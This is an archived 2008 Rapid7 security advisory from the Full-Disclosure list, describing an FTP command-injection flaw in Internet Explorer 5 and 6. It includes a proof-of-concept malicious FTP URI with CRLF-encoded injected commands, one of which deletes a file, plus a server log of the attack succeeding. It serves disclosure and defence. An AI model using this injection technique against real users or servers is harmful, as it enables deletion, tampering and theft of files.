

[Full-disclosure] Rapid7 Advisory R7-0032: Microsoft Internet Explorer FTP Command Injection Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2008-03/msg00185.html>

- *From:* advisory@xxxxxxxxxx
 - *Date:* Tue, 11 Mar 2008 12:33:23 -0700
-

Rapid7 Security Advisory

Visit <http://www.rapid7.com/> to download NeXpose,
SC Magazine Winner of Best Vulnerability Management product.

Rapid7 Advisory R7-0032

Microsoft Internet Explorer FTP Command Injection Vulnerability

Discovered: June 16th, 2007

Published: March 10, 2008

Revision: 1.0

<http://www.rapid7.com/advisories/R7-0032>

1. Affected system(s):

KNOWN VULNERABLE:

- o Internet Explorer 6 (all versions)
- o Internet Explorer 5 (all versions)

NOT VULNERABLE:

- o Internet Explorer 7

2. Summary

Internet Explorer 5 and 6 are vulnerable to a File Transfer Protocol
(FTP)

CSRF-like command injection attack, whereby an attacker could execute
arbitrary

commands on an unsuspecting user's authenticated or unauthenticated FTP
session.

An attacker could delete, rename, move, and possibly steal data and
upload

malicious files to an FTP server under the attacker's control, on
behalf of the

user.

3. Vendor status and information

Microsoft Corporation
<http://www.microsoft.com/>

Microsoft was notified of this vulnerability on January 22, 2008. They acknowledged the vulnerability on February 7, 2008 and were given 30 days to provide fix information.

4. Solution

The vendor plans to release a patch for this issue in an upcoming security bulletin. If possible, upgrade to Internet Explorer 7.

5. Detailed analysis

The error occurs when a user visits a page containing a malicious FTP URL.

Internet Explorer 5 and 6 decode and do not properly sanitize the supplied URL.

It is possible to force Internet Explorer to chain FTP commands together by inserting URL encoded CRLF pairs after each command in the URL supplied by an HTML element.

```
<iframe src=">
```

Moreover, if two forward slashes are appended to the end of the malicious URL, Internet Explorer will attempt to use an already pre-authenticated connection established earlier by the user in the same browser session.

If the user has a pre-authenticated connection to an FTP server, an attacker, knowing the username and endpoint of that pre-authenticated connection, could piggyback on the user's session to execute arbitrary commands. A pre-authenticated connection is not necessary to carry out this attack, as Internet Explorer will attempt an anonymous login if no username is specified in the URL. If only the username is specified and no trailing forward slashes are appended to the string, Internet Explorer will send the username with a blank password (which may be sufficient for more obscure

[Full-disclosure] Rapid7 Advisory R7-0032: Microsoft Internet Explorer FTP Command Injection Vulnerability

anonymous user accounts). If no username is specified, Internet Explorer will attempt to login using the 'IEUser@' user.

Successful execution of some attacks may depend on the command tokenizing strategy used by the target FTP server and the security configuration on the FTP server (for instance, most FTP servers do not allow PORT requests for endpoints which do not have the same address as the requesting client).

In testing, Internet Explorer 6 SP2 required the two trailing forward slashes for the exploit to work correctly. Internet Explorer 6 SP1 did not have this restriction. Internet Explorer 7 is not vulnerable to this issue, as it correctly sanitizes the URL before attempting to make the request on the FTP server.

Demonstration of the exploit piggybacking on a pre-authenticated connection (malicious URL with two trailing forward slashes) with IE6 SP2:

Malicious URI: <ftp://admin@xxxxxxxxxxx/%0D%0ADELE%20foo.txt%0D%0ACWD//>

```
--> Welcome banner
220 debian FTP server (Version wu-2.6.2(2) Tue Mar 20 18:26:53 PST
2007) ready.
```

```
<-- IE6 Requests a user
USER admin
```

```
--> FTP server requires password
331 Password required for admin.
```

```
<-- IE6 supplies password.
PASS admin
```

```
--> FTP Server responds with successful login.
230 User admin logged in.
```

```
<-- IE6 tests 'OPTS UTF8' option.
opts utf8 on
```

```
--> Server responds with negative permanent reply to OPTS request.
500 'OPTS utf8 on': command not understood.
```

```
<-- IE6 asks for the present working directory.
PWD
```

--> Server sends positive completion reply for PWD.
257 "/home/admin" is current directory.

<-- IE6 requests malicious FTP URI from an iframe in HTML doc
CWD /home/admin/
DELE foo.txt
CWD/

--> Server responds with positive completion for CWD
250 CWD command successful.

<-- IE6 sends a 'TYPE A' request
TYPE A

--> Server responds with positive completion for DELE
250 DELE command successful.

<-- IE6 sends a NOOP.
noop

--> Server sends negative permanent response for last (invalid)
command.
500 'CWD/': command not understood.

And the file no longer exists.

6. Credit

Discovered by Derek Abdine of Rapid7.

7. Contact Information

Rapid7, LLC
Email: advisory@xxxxxxxxxx
Web: <http://www.rapid7.com>
Phone: +1 (617) 247-1717

8. Disclaimer and Copyright

Rapid7, LLC is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

This advisory Copyright (C) 2008 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

=====

Rapid7 Security Research Team

Email: advisory@xxxxxxxxxx

Web: <http://www.rapid7.com/>

Phone: +1 (310) 760-4640

PGP: <http://www.rapid7.com/advisories/R7-PKey2004.txt>

=====

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>